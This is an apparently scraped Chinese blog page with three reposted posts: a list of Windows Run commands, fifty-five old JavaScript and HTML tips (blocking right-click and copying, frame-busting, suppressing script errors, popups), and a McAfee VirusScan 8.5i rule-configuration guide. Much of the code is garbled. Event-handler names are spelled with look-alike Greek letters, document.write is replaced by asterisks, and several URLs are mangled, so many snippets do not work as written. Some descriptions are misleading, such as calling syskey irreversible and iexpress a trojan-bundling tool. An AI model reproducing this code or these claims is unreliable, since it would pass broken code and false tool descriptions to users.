diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略15:23 | 添加评论 | 固定链接 | 写入日志2007/8/19
[转]Javascript中最常用的55个经典技巧
1. οncοntextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键
<table border οncοntextmenu=return(false)><td>no</table> 可用于Table

2. <body onselectstart="return false"> 取消选取、防止复制

3. οnpaste="return false" 不准粘贴

4. οncοpy="return false;" oncut="return false;" 防止复制

5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标


7. <input style="ime-mode:disabled"> 关闭输入法


8. 永远都会带着框架
<script language="JavaScript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>


9. 防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>


10. 网页将不能被另存为
<noscript><*** src="/*.html>";</***></noscript>


11. <input type=button value="/查看网页源代码
οnclick="window.location = "view-source:"+ "http://www.pconline"">


12.删除时确认
<a href=""javascript :if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>


13. 取得控件的绝对位置
//Javascript
<script language="Javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>
//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>


14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" οnfοcus="cc()">


15. 判断上一页的来源
javascript :
document.referrer


16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" value="/Close"></OBJECT>
<input type=button value="/最小化 οnclick=hh1.Click()>
<input type=button value="/blog/最大化 οnclick=hh2.Click()>
<input type=button value=关闭 οnclick=hh3.Click()>
本例适用于IE


17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.οnkeydοwn=look;
</script>


18. 网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">


19.怎样让表单没有凹凸感?
<input type=text style="""border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000"></textarea>


20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>


21.让弹出窗口总是在最上面:
<body οnblur="this.focus();">


22.不要滚动条?
让竖条没有:
<body style="overflow:scroll;overflow-y:hidden">
</body>
让横条没有:
<body style="overflow:scroll;overflow-x:hidden">
</body>
两个都去掉?更简单了
<body scroll="no">
</body>


23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onFocus="this.blur()"><img src="/logo.jpg" border=0></a>


24.电子邮件处理提交表单
<form name="form1" method="post" action=mailto:****@***
enctype="text/plain">
<input type=submit>
</form>


25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()


26.如何设定打开页面的大小
<body οnlοad="top.resizeTo(300,200);">
打开页面的位置<body οnlοad="top.moveBy(300,200);">


27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(/logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>


28. 检查一段字符串是否全由数字组成
<script language="Javascript"><!--
function checkNum(str){return str.match(//D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>


29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight


30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");


31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange
="this.style.posHeight=this.scrollHeight">
</textarea>


32. 日期减去天数等于第二个日期
<script language=Javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>


33. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then
window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="/style" checked>Style
<INPUT name="radio1" type="radio" value="/blog/barcode">Barcode
<INPUT type="button" value="check" οnclick="checkme()">
</BODY></HTML>


34.脚本永不出错
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>


35.ENTER键可以让光标移到下一个输入框
<input οnkeydοwn="if(event.keyCode==13)event.keyCode=9">


36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=Javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]=1000){this.resized=true;this.style.width=1000;}" align=absMiddle border=0>www.njcatv"
autourl[2]="javacool.3322"
autourl[3]=1000){this.resized=true;this.style.width=1000;}" align=absMiddle border=0>www.sina"
autourl[4]="www.nuaa.edu"
autourl[5]=1000){this.resized=true;this.style.width=1000;}" align=absMiddle border=0>wwwtv"
function butt(){
***("<form name=autof>")
for(var i=1;i<autourl.length;i++)
***("<input type=text name=txt"+i+" size=10 value="/测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value="/blog/GO
οnclick=window.open(this.form.url"+i+".value)><br>")
***("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="/链接超时"}
else
{document.forms[0]["txt"+b].value="/blog/时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)***("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1
οnerrοr=auto("http://"+autourl+"")>")}
run()</script>


37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize


38.页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)"> 
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
  0 矩形缩小
  1 矩形扩大
  2 圆形缩小
  3 圆形扩大
  4 下到上刷新
  5 上到下刷新
  6 左到右刷新
  7 右到左刷新
  8 竖百叶窗
  9 横百叶窗
  10 错位横百叶窗
  11 错位竖百叶窗
  12 点扩散
  13 左右到中间刷新
  14 中间到左右刷新
  15 中间到上下
  16 上下到中间
  17 右下到左上
  18 右上到左下
  19 左上到右下
  20 左下到右上
  21 横条
  22 竖条
  23 以上22种随机选择一种


39.在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.51js">


40.网页是否被检索
<meta name="ROBOTS" content="属性值">
  其中属性值有以下一些:
  属性值为"all": 文件将被检索,且页上链接可被查询;
  属性值为"none": 文件不被检索,而且不查询页上的链接;
  属性值为"index": 文件将被检索;
  属性值为"follow": 查询页上的链接;
  属性值为"noindex": 文件不检索,但可被查询链接;
  属性值为"nofollow": 文件不被检索,但可查询页上的链接。


41、email地址的分割
把如下代码加入<body>区域中
<a href="mailto:webmaster@sina">webmaster@sina</a>


42、流动边框效果的表格
把如下代码加入<body>区域中
<SCRIPT>
l=Array(6,7,8,9,'a','b','b','c','d','e','f')
Nx=5;Ny=35
t="<table border=0 cellspacing=0 cellpadding=0 height="+((Nx+2)*16)+"><tr>"
for(x=Nx;x<Nx+Ny;x++)
t+="<td width=16 id=a_mo"+x+"> </td>"
t+="</tr><tr><td width=10 id=a_mo"+(Nx-1)+"> </td><td colspan="+(Ny-2)+" rowspan="+(Nx)+"> </td><td width=16 id=a_mo"+(Nx+Ny)+"></td></tr>"
for(x=2;x<=Nx;x++)
t+="<tr><td width=16 id=a_mo"+(Nx-x)+"> </td><td width=16 id=a_mo"+(Ny+Nx+x-1)+"> </td></tr>"
t+="<tr>"
for(x=Ny;x>0;x--)
t+="<td width=16 id=a_mo"+(x+Nx*2+Ny-1)+"> </td>"
***(t+"</tr></table>")
var N=Nx*2+Ny*2
function f1(y){
for(i=0;i<N;i++){
c=(i+y)%20;if(c>10)c=20-c
document.all["a_mo"+(i)].bgColor=""""#0000"+l[c]+l[c]+"'"}
y++
setTimeout('f1('+y+')','1')}
f1(1)
</SCRIPT>


43、JavaScript主页弹出窗口技巧
窗口中间弹出
<script>
window.open("http://wwwtv","","width=400,height=240,top="+(screen.availHeight-240)/2+",left="+(screen.availWidth-400)/2);
</script>
============
<html>
<head>
<script language="LiveScript">
function WinOpen() {
    msg=open("","DisplayWindow","toolbar=no,directories=no,menubar=no");
    msg.***("<HEAD><TITLE>哈 罗!</TITLE></HEAD>");
    msg.***("<CENTER><H1>酷 毙 了!</H1><h2>这是<B>JavaScript</B>所 开 的 视 窗!</h2></CENTER>");
}
</script>
</head>
<body>
<form>
<input type="button" name="Button1" value="Push me" οnclick="WinOpen()">
</form>
</body>
</html>
==============
一、在下面的代码中,你只要单击打开一个窗口,即可链接到赛迪网。而当你想关闭时,只要单击一下即可关闭刚才打开的窗口。
  代码如下:
  <SCRIPT language="JavaScript">
  <!--
  function openclk() {
  another=open('1000){this.resized=true;this.style.width=1000;}" align=absMiddle border=0>http://wwwidnet','NewWindow');
  }
  function closeclk() {
  another.close();
  }
  //-->
  </SCRIPT>
  <FORM>
  <INPUT TYPE="BUTTON" NAME="open" value="/打开一个窗口" onClick="openclk()">
  <BR>
  <INPUT TYPE="BUTTON" NAME="close" value="/blog/关闭这个窗口" onClick="closeclk()">
  </FORM>
  二、上面的代码也太静了,为何不来点动感呢?如果能给页面来个降落效果那该多好啊!
  代码如下:
  <script>
  function drop(n) {
  if(self.moveBy){
  self.moveBy (0,-900);
  for(i = n; i > 0; i--){
  self.moveBy(0,3);
  }
  for(j = 8; j > 0; j--){
  self.moveBy(0,j);
  self.moveBy(j,0);
  self.moveBy(0,-j);
  self.moveBy(-j,0);
  }
  }
  }
  </script>
  <body onLoad="drop(300)">
  三、讨厌很多网站总是按照默认窗口打开,如果你能随心所欲控制打开的窗口那该多好。
  代码如下:
  <SCRIPT LANGUAGE="JavaScript">
  <!-- Begin
  function popupPage(l, t, w, h) {
  var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=yes" +
  ",left=" + l + ",top=" + t + ",width=" + w + ",height=" + h;
  var URL = "http://www.80cn";
  popup = window.open(URL,"MenuPopup",windowprops);
  }
  // End -->
  </script>
  <table>
  <tr>
  <td>
  <form name=popupform>
  <pre>
  打开页面的参数<br>
  离开左边的距离: <input type=text name=left size=2 maxlength=4> pixels
  离开右边的距离: <input type=text name=top size=2 maxlength=4> pixels
  窗口的宽度: <input type=text name=width size=2 maxlength=4> pixels
  窗口的高度: <input type=text name=height size=2 maxlength=4> pixels
  </pre>
  <center>
  <input type=button value="打开这个窗口!" onClick="popupPage(this.form.left.value, this.form.top.value, this.form.width.value,
this.form.height.value)">
  </center>
  </form>
  </td>
  </tr>
  </table>你只要在相对应的对话框中输入一个数值即可,将要打开的页面的窗口控制得很好。


44、页面的打开移动
把如下代码加入<body>区域中
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
for (t = 2; t > 0; t--) {
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(0,-x);
   }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(0,x);
   }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(x,0);
   }
}
for (x = 20; x > 0; x--) {
for (y = 10; y > 0; y--) {
parent.moveBy(-x,0);
     }
   }
}
//-->
//   End -->
</script>


45、显示个人客户端机器的日期和时间
<script language="LiveScript">
<!-- Hiding
   today = new Date()
   ***("现 在 时 间 是: ",today.getHours(),":",today.getMinutes())
   ***("<br>今 天 日 期 为: ", today.getMonth()+1,"/",today.getDate(),"/",today.getYear());
// end hiding contents -->
</script>


46、自动的为你每次产生最後修改的日期了:
<html>
<body>
This is a simple HTML- page.
<br>
Last changes:
   <script language="LiveScript">
   <!--   hide script from old browsers
     ***(document.lastModified)
   // end hiding contents -->
   </script>
</body>
</html>


47、不能为空和邮件地址的约束:
<html>
<head>
<script language="JavaScript">
<!-- Hide
function test1(form) {
   if (form.text1.value == "")
     alert("您 没 写 上 任 何 东 西, 请 再 输 入 一 次 !")
   else {
    alert("嗨 "+form.text1.value+"! 您 已 输 入 完 成 !");
   }
}
function test2(form) {
   if (form.text2.value == "" ||
       form.text2.value.indexOf('@', 0) == -1)
         alert("这 不 是 正 确 的 e-mail address! 请 再 输 入 一 次 !");
   else alert("您 已 输 入 完 成 !");
}
// -->
</script>
</head>
<body>
<form name="first">
Enter your name:<br>
<input type="text" name="text1">
<input type="button" name="button1" value="输 入 测 试" onClick="test1(this.form)">
<P>
Enter your e-mail address:<br>
<input type="text" name="text2">
<input type="button" name="button2" value="输 入 测 试" onClick="test2(this.form)">
</body>


48、跑马灯
<html>
<head>
<script language="JavaScript">
<!-- Hide
var scrtxt="怎麽样 ! 很酷吧 ! 您也可以试试."+"Here goes your message the visitors to your
page will "+"look at for hours in pure fascination...";
var lentxt=scrtxt.length;
var width=100;
var pos=1-width;
function scroll() {
   pos++;
   var scroller="";
   if (pos==lentxt) {
     pos=1-width;
   }
   if (pos<0) {
     for (var i=1; i<=Math.abs(pos); i++) {
       scroller=scroller+" ";}
     scroller=scroller+scrtxt.substring(0,width-i+1);
   }
   else {
     scroller=scroller+scrtxt.substring(pos,width+pos);
   }
   window.status = scroller;
   setTimeout("scroll()",150);
   }
//-->
</script>
</head>
<body onLoad="scroll();return true;">
这里可显示您的网页 !
</body>
</html>


49、在网页中用按钮来控制前页,后页和主页的显示。
<html>
<body>
<FORM NAME="buttonbar">
      <INPUT TYPE="button" VALUE="Back" onClick="history.back()">
      <INPUT TYPE="button" VALUE="JS- Home" onClick="location='script.html'">
      <INPUT TYPE="button" VALUE="Next" onCLick="history.forward()">
</FORM>
</body>
</html>
50、查看某网址的源代码
把如下代码加入<body>区域中
<SCRIPT>
function add()
{
var ress=document.forms[0].luxiaoqing.value
window.location="view-source:"+ress;
}
</SCRIPT>
输入要查看源代码的URL地址:
<FORM><input type="text" name="luxiaoqing" size=40 value="http://"></FORM>
<FORM><br>
<INPUT type="button" value="查看源代码" onClick=add()>
</FORM>


51、title显示日期
把如下代码加入<body>区域中:
<script language="JavaScript1.2">
<!--hide
var isnMonth = new
Array("1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月");
var isnDay = new
Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六","星期日");
today = new Date () ;
Year=today.getYear();
Date=today.getDate();
if (document.all)
document.title="今天是: "+Year+"年"+isnMonth[today.getMonth()]+Date+"日"+isnDay[today.getDay()]
//--hide-->
</script>


52、显示所有链接
把如下代码加入<body>区域中
<script language="JavaScript1.2">
<!--
function extractlinks(){
var links=document.all.tags("A")
var total=links.length
var win2=window.open("","","menubar,scrollbars,toolbar")
win2.***("<font size='2'>一共有"+total+"个连接</font><br>")
for (i=0;i<total;i++){
win2.***("<font size='2'>"+links[i].outerHTML+"</font><br>")
}
}
//-->
</script>
<input type="button" onClick="extractlinks()" value="显示所有的连接">


53、回车键换行
把如下代码加入<body>区域中
<script type="text/javascript">               
function handleEnter (field, event) {
   var keyCode = event.keyCode ? event.keyCode : event.which ?
event.which : event.charCode;
   if (keyCode == 13) {
    var i;
    for (i = 0; i < field.form.elements.length; i++)
     if (field == field.form.elements[i])
      break;
    i = (i + 1) % field.form.elements.length;
    field.form.elements[i].focus();
    return false;
   }
   else
   return true;
}     
</script>
<form>
<input type="text" οnkeypress="return handleEnter(this, event)"><br>
<input type="text" οnkeypress="return handleEnter(this, event)"><br>
<textarea>回车换行


54、确认后提交
把如下代码加入<body>区域中
<SCRIPT LANGUAGE="JavaScript">
<!--
function msg(){
if (confirm("你确认要提交嘛!"))
document.lnman.submit()
}
//-->
</SCRIPT>
<form name="lnman" method="post" action="">
   <p>
     <input type="text" name="textfield" value="确认后提交">
   </p>
   <p>
     <input type="button" name="Submit" value="提交" οnclick="msg();">
   </p>
</form>


55、改变表格的内容
把如下代码加入<body>区域中
<script ***script>
var arr=new Array()
arr[0]="一一一一一";
arr[1]="二二二二二";
arr[2]="三三三三三";
</script>
<select οnchange="zz.cells[this.selectedIndex].innerHTML=arr[this.selectedIndex]">
   <option value=a>改变第一格</option>
   <option value=a>改变第二格</option>
   <option value=a>改变第三格</option>
</select>
<table id=zz border=1>
   <tr height=20>
     <td width=150>第一格</td>
<td width=150>第二格</td>
<td width=150>第三格</td>
   </tr>
</table>
10:24 | 添加评论 | 固定链接 | 写入日志2007/7/20
[转载]Mcafee 8.5i杀毒软件规则配置
mcafee 8.5i杀毒软件规则配置

基本概念:
HIPS:Host Intrusion Prevent System 主机入侵防御系统,包括以下三种防御系统:
FD:File Defend,文件防御体系
AD:Application Defend,应用程序防御体系
RD:Registry Defend,注册表防御体系

McAfee VirusScan Enterprise v8.5i通鉴

一、软件安装
一、安装流程:
1、安装McAfee VirusScan Enterprise v8.5i,安装的最后不要选择“立即更新”
2、安装反间谍模块McAfee Anti-Spyware Enterprise Module v8.5
3、设置McAfee,导入自定义规则
4、升级病毒库,第一次升级很慢,而且往往不成功,最好下载superDAT安装,或者在“AutoUpdate”中设置固定时间让McAfee在后台自动升级,至此,安装已基本完成。
5、安装附加病毒库Extra.DAT,选择C:/Program Files/Common Files/McAfee/Engine路径。需要说明的是,附加病毒库列举的病毒都是疑似病毒,可能造成误报,当McAfee确认是真正的病毒后,将在下一次的病毒库升级时自动下载并加入到最新的标准病毒库中。如果Extra.DAT是错误的,将导致McAfee无法打开“按访问扫描程序”,另外,McAfee不支持附加病毒库的按访问扫描(监控),即如果此病毒被列入附加病毒库中,当McAfee监控到此病毒时,McAfee不会报毒,只有“按需扫描”时才会报毒,综上,附加病毒库不必安装。
6、关闭“访问保护”,将帮助文件更名为Vse,复制到D:/security/mcafee/VirusScan Enterprise/Res0402中即可在控制台中调用官方帮助文件。

二、病毒库备份:
1、病毒库位置在“系统盘:/Program Files/Common Files/McAfee/Engine”目录中,备份其中的avvclean.DAT、avvnames.DAT、avvscan.DAT三个DAT文件,重装McAfee后,将这三个备份的DAT文件copy回“系统盘:/Program Files/Common Files/McAfee/Engine”目录,重启即可。
2、官方病毒库:(其中1234为DAT版本)http://www.mcafee/apps/downl ... ;segment=enterprise
http://download.nai/products ... lified/sdat1234.exe
3、病毒库数量:http://vil.nai/vil/DATReadme.aspx

三、7个进程:Frameworkservice.exe(升级),Mcshield.exe(实时监控),Mctray.exe,naPrdMgr.exe,SHSTAT.exe(任务栏图标),UdaterUI.exe(升级),Vstskmgr.exe(控制台)

二、软件设置
以下设置中没提到的均按照默认设置?br /> 一、“控制台”-“工具”-“用户界面选项”,取消“允许此系统与其他系统建立远程控制台连接”。

二、Quarantine文件夹在C盘根目录下,实在是有碍观瞻,我们可以把文件夹移至C:/Documents and Settings/Quarantine下,在设置中,凡遇到需要这个选项时,均选择该文件夹。

三、日常使用中,所有的“报告”都可以关闭。

四、“电子邮件传递扫描”
1、“高级”-“启发式分析”中将“查找带有多个扩展名的附件”选中。
2、“操作”&“有害程序”-“发现威胁时”&“发现有害附件时”,“辅助操作”均选择“删除附件”。

五、“按访问扫描程序”:
1、“常规设置”—“常规”
1.1取消“在关机过程中扫描软盘”。
1.2“扫描时间”一栏中,“存档文件最长扫描时间”可以调成5秒,这样在进入含有大型程序的文件夹时,McAfee读取这些大型文件不会读取太久。“最长扫描时间”默认45秒即可。

2、“所有进程”
在“检测项”一栏中,如果在局域网上,可以选中“在网络驱动器上”。

六、“隔离管理器策略”中,“自动删除隔离数据”选择“1天”。

七、“完全扫描”和“目标扫描”,在“检测”-“压缩文件”一栏中,这里不是实时保护,所以需要检测压缩包,两个选项均须选中,除此以外的所有设置中,这两个选项都可以不选。

八、“AutoUpdate”中,点击“计划”—“计划”,McAfee每日更新,“起始时间”一般是调成比较频繁的上网时段,“启用随机选择”为开机10分钟即可。

三、访问保护
一、特别申明:系统升级、软(硬)件安装与卸载时,要暂停“访问保护”,切记切记!?/p>

二、说明
1、McAfee的杀毒凌驾于一切规则之上!即设置规则禁止对染毒文件做任何操作,在McAfee杀毒时,该规则失效。所以不要介意将规则中的“删除”选项选中,因为即使禁止删除该文件,若该文件染毒,McAfee一样照杀不误。
2、“访问保护”支持绝对路径。通鉴中所有规则均以系统盘为C盘编写。
3、双星号(**)表示在反斜线(/)字符前后任意多个层级的目录,即文件夹可以新建,但任何文件夹中的文件均被保护。
一个星号(*)表示任意一个或部分目录名称,(*.*)表示任何文件,不包括文件夹,即只有一层文件夹内的文件被保护。
(/**)与(/**/*)均表示在当前目录下任意多个层级目录里的任何文件和文件夹。
4、在“要禁止的文件操作”里,除了“创建”外,其余四项都是对已有的文件进行操作,一般情况下,“写入”、“创建”和“删除”可以一同禁止,而且禁止“写入”有时需要禁止“创建”,否则系统会在此文件夹中创建TMP*.tmp的临时文件(垃圾文件)。
5、读取:对已有的文件进行读取操作,但不执行文件的内容;
写入:对已有的文件进行写入操作,即对文件的内容进行修改,删除等;
执行:对已有的文件进行执行操作,即执行文件的内容;
创建:在文件夹中创建一个新的文件;
删除:对已有的文件进行删除操作,包括修改文件名。
6、对注册表保护中“要保护的注册表项或注册表值”里面主键的说明:
空白项:默认状态,无任何意义。
HKLM:表示HKEY_LOCAL_MACHINE主键。
HKCU:表示HKEY_CURRENT_USER主键。
HKCR:表示HKEY_CLASSES_ROOT主键。
HKCCS:表示HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet部分和HKEY_CURRENT_CONFIG主键。
HKULM:表示HKCU+HKLM+HKEY_USER三大主键。
HKALL:表示所有主键。可以近似地当作自定义项来使用。
7、将“访问保护”中所有的“报告”取消,则任务栏图标中的红框就会消失。这个红框的出现是提醒用户当前“访问保护”有规则阻止,且用户尚未查看报告。
8、“阻止”与“报告”若同时选中,则既阻止又报告;若只选中“阻止”,则只阻止不报告;若只选中“报告”,则只报告不阻止。
9、“通用最大保护”中的“禁止在 Windows 文件夹中创建新的可执行文件”与“禁止在 Program Files 文件夹中创建新的可执行文件”两个规则中项名所谓的“可执行文件”包括.exe和.dll两种格式的文件。
10、“访问保护”不支持环境变量。环境变量的出现,是McAfee为了解决规则在不同的操作系统下由于路径的问题而失效的一种办法,比如windows2000的系统文件夹是WINNT,而windows XP的系统文件夹是WINDOWS,如果在2000下使用绝对路径编写的规则,在XP下就会失效,为了解决这一问题,McAfee在8.0i版时允许使用环境变量,比如%windir%无论在任何系统内都表示系统文件夹,这样就使得规则具有了通用性。但是McAfee在8.5i版时将环境变量取消了,原因是因为McAfee认为现在使用2000以下系统的用户已逐步减少,随着windows vista以及电脑高端配置的出现,使用XP以上系统的用户会越来越多,而XP系统已成为了最基本的操作系统,因此从8.5i版开始,McAfee将只认可XP以上的系统,规则的通用性自然就会以XP系统为底线来编写,所以环境变量的存在已失去意义,当然就会退出舞台咯。
11、“访问保护”不支持对文件夹的保护。即只要将规则中保护的文件夹更名,该规则失效。McAfee不支持对文件夹的保护的原因是McAfee从一开始就只是杀毒软件,而非监控软件,“访问保护”只是辅助杀毒的一种手段,通过McAfee的内置规则不难看出,McAfee只提供对系统文件夹的保护,而系统盘下的三个系统文件夹WINDOWS、Program Files、Documents and Settings都是不允许更名的,所以对McAfee来说,他的内置规则是不受文件夹更名威胁的。前面也说了,McAfee不是做监控或者保密软件的,他不支持保护个人的隐私文件和文件夹,那是否McAfee就因此也不保护一些重要的文件呢,不是,McAfee会保护全盘下的某一类文件,如**/*.exe,但是这样又会给使用带来诸多不便,从而影响实用性,可操作性也大大降低,在此种情况下,排除进程应运而生,所以编写规则时应尽量避免非系统文件夹的出现,使用通配符*,再配合排除进程才是最完美的规则。
12、规则越多,监控的负担越大。规则的编写应该具有总结性,应该是某一类行为的概括,应该以不影响日常使用为原则。McAfee以“要禁止的文件操作”为依据,将所有的规则分为“层”,例如,当“访问保护”开启时,用户“执行”的任何操作,McAfee都会将之与所有包含“执行”的规则一一比对,如果此时规则很多,可想而知,监控的负担会变大,使用会变的迟缓,当然,对于高配置计算机,这个变化也许不是很明显,但系统资源仍会被消耗。
13、HIPS:Host Intrusion Prevent System 主机入侵防御系统,包括以下三种防御系统:
FD:File Defend,文件防御体系
AD:Application Defend,应用程序防御体系
RD:Registry Defend,注册表防御体系
 

三、访问保护中需要排除的进程
1、说明:
1.1以下未提及者排除项均为“空”!因为McAfee的内置规则中排除进程太多,安全性降低,绝大多数进程可删除。

1.2红字部分为应用软件,用户可根据不同的使用环境与自身需要情况而调整,为方便用户阅读,故显示为红色。

1.3排除进程中不赞成使用通配符*,因为病毒会伪装成任何进程,风险度提高,建议使用绝对路径。

1.4“用户自定义的规则”里的“2、禁止在计算机中创建新文件”,在“要排除的进程”中不必加入McScript.exe。原因如下:当McAfee升级病毒库时,需调用FrameworkService.exe和McScript_InUse.exe两个进程,这两个进程中任何一个被阻止,升级都将失败。当FrameworkService.exe被阻止时,McAfee会调用McScript.exe进程来做一些升级失败的善后事情,而当McScript_InUse.exe被阻止时,McAfee却不会再调用其他程序了,升级会直接失败。当升级成功,也就是说FrameworkService.exe和McScript_InUse.exe两个进程都顺利运行了,McScript.exe进程也不会被调用,因为McScript_InUse.exe会代替McScript.exe来做升级成功之后的事情。

1.5对于部分应用软件进程排除的说明:
1.5.1部分应用软件在设置时需要暂时停用“用户自定义的规则”中的“2.07禁止在计算机中创建新的.ini文件”,必要时需暂时停用“访问保护”。
1.5.2部分应用软件需开机运行的,如迅雷、鱼鱼桌面秀等,要暂时停用“通用最大保护”中的“禁止将程序注册为自动运行”。
1.5.3如果将应用软件一一排除的话,不仅工作量大,且排除进程多了,安全性降低了,另外应用软件的设置一般都是一次性的工作,排除进程的话没有任何意义,因此,需要排除的进程,必然不是一次性的工作,比如某软件每次运行时都会遭到访问保护阻挡并影响了使用时,就需要排除该进程了。
1.5.4应用软件的进程名有时会随着该软件版本的升级而改变,需要实时关注,比如迅雷,现在是Thunder5.exe,等版本升级到迅雷6时,可能进程会改名为Thunder6.exe。

